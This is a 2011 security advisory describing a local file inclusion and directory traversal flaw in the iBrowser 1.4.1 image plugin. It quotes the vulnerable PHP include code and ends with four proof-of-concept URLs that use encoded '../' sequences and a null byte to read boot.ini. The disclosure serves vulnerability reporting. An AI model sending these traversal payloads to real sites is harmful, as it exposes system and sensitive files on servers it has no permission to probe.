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iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability

🗓️ 16 Sep 2011 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 26 Views

iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability. Vulnerability allows inclusion of files through 'lang' parameter in ibrowser.php, loadmsg.php, rfiles.php, and symbols.php. Impact: Exposure of System Information, Sensitive Information

Code
<html><body><p>iBrowser Plugin v1.4.1 (lang) Local File Inclusion Vulnerability


Vendor: net4visions.com
Product web page: http://www.net4visions.com
Affected version: &lt;= 1.4.1 Build 10182009

Summary: iBrowser is an image browser plugin for WYSIWYG editors like
tinyMCE, SPAW, htmlAREA, Xinha and FCKeditor developed by net4visions.
It allows image browsing, resizing on upload, directory management and
more with the integration of the phpThumb image library.

Desc: iBrowser suffers from a file inlcusion vulnerability (LFI) / file
disclosure vulnerability (FD) when input passed thru the 'lang' parameter
to ibrowser.php, loadmsg.php, rfiles.php and symbols.php is not properly
verified before being used to include files. This can be exploited to
include files from local resources with directory traversal attacks and
URL encoded NULL bytes.


======================================================================
/langs/lang.class.php:
----------------------------------------------------------------------

67: function loadData() {
68:    global $cfg;
69:    include( dirname(__FILE__) . '/' . $this -&gt; lang.'.php' );
70:    $this -&gt; charset = $lang_charset;
71:    $this -&gt; dir = $lang_direction;
72:    $this -&gt; lang_data = $lang_data;
73:    unset( $lang_data );
74:    include( dirname(__FILE__) . '/' . $cfg['lang'].'.php' );
75:    $this -&gt; default_lang_data = $lang_data;
76: }

======================================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5041
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5041.php


15.09.2011

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http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/ibrowser.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/loadmsg.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/ibrowser/scripts/symbols.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
</p></body></html>

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